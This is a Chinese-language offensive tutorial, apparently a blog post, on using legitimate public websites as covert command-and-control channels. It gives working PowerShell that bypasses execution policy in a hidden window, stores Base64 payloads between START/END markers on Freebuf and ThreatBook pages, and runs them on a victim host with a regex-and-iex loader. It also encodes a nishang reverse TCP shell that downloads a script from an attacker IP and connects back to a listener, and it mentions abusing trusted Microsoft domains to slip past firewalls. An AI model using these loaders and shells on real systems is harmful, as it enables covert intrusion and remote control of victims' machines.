简介

对于攻击者而言,隐藏自己的C2是重中之重,以往都是使用合法的应用API创建自己的C2,不过我们也可以将payload托管在合法的网站上,这样在受害者主机上的通信可能会绕过防火墙。 该方法最早提出者已经无法溯源了,偶然看到null-byte网站提了一嘴,不过并没有将其用作C2,而是将其用作下载文件,C2是笔者在N年前研究的方法,可能对于现在的网络环境还能有点用。

构造Payload

以Freebuf为例,我们首先构造一条PowerShell命令:

powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\thatgood'

该条PowerShell语句会使用-ep选项绕过策略,并使用/w选项隐藏窗口,使用New-Item创建一个位于用户文档下的文件。

然后我们最好将该条PowerShell语句进行Base64编码,防止检测到特殊字符:

printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\thatgood'" | base64 | tr -d '\n'
cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw==

最好复制一下Base64编码字符串来验证一下。

然后我们将该串Base64字符串修改到Freebuf能公开访问的页面,比如用户公开的简介中,然后用START和END包裹,用来匹配该条payload。

使用无痕模式查看是否能公开查看,以及是否能显示所有字符串。

然后我们通过在受害者主机执行PowerShell语句即可执行新建文件的操作:

$wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing;
//使用Invoke-WebRequest获取指定网页并基本解析
$r = [Regex]::new("(?<=START)(.*)(?=END)");
//使用正则表达式匹配payload
$m = $r.Match($wro.rawcontent);
//将匹配到的payload定义一个变量
if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));
//将$m变量中的内容进行Base64解密
iex $p }
//使用IEX执行

因为执行完后会立刻关闭PowerShell终端,所以笔者将iex更改为echo,会显示最后的解密内容,也就是iex执行的语句。 执行完毕后会看到本地用户文档多出个thatgood文件。

虽然我们现在能创建文件来下载payload了,不过我们也可以使用该方法创建隐蔽的C2。

以微步社区为例,在创建payload时,我们需要注意能公开访问显示的最大字符串数量,我们先创建一个PowerShell可使用的TCP反向shell的payload:

printf '%s' 'powershell "IEX(New-Object Net.WebClient).DownloadString('\'http://192.168.8.113/Invoke-PowerShellTcp.ps1\''); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.8.113 -Port 4444"' | base64 | tr -d '\n'

使用的payload为nishang项目中的TCP shell,生成的Base64编码为:

cG93ZXJzaGVsbCAiSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjguMTEzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpOyBJbnZva2UtUG93ZXJTaGVsbFRjcCAtUmV2ZXJzZSAtSVBBZGRyZXNzIDE5Mi4xNjguOC4xMTMgLVBvcnQgNDQ0NCI=

因为有特殊字符,所以我们每次生成都要最好验证一下。

大家此刻要注意我们生成的Base64字符串为232个字节,而Freebuf简介只允许200个字节,所以就不能使用Freebuf托管。

我们得需要找到既能公开访问,又能显示得了232个字节的字符串,还是固定链接的地址,所以我们就以微步社区为例,该社区发帖无限制,而且还是固定链接,非常的nice。 直接在微步社区发帖写入payload。

微步社发帖有个坑点,我们先在受害者主机上运行一个PowerShell命令:

$wro = iwr -Uri https://x.threatbook.com/v5/article?threatInfoID=37765 -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));echo $m }

使用echo $m可以查看匹配到的Base64字符串,我们可以看到微步社区的会多匹配到内容。

这里我们就需要修改正则表达式匹配,让其不要太“贪心”:

$wro = iwr -Uri https://x.threatbook.com/v5/article?threatInfoID=37765 -UseBasicParsing;
$r = [Regex]::new("(?<=START)(.*?)(?=END)");
//修改正则表达式,加个问号
$m = $r.Match($wro.rawcontent);
if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));
echo $m }

确认只匹配到一条Base64字符串后,在Kali主机开启nc并将echo修改为IEX执行:

$wro = iwr -Uri https://x.threatbook.com/v5/article?threatInfoID=37765 -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*?)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));iex $p }

通过该种方法,可以将所有合法网站都当做自己的C2,我们还可以利用微软的一些网站服务做C2,很多防火墙策略都会对微软的请求放松。

结语

该方法虽然隐蔽性较高,但是有个缺点就是必须是修改后能公开访问、固定链接、可随时修改payload,最重要的是需要受信网站能在右键查看源代码中包裹(如果发现条件都满足还匹配不到payload,那就是正则表达式的问题了)。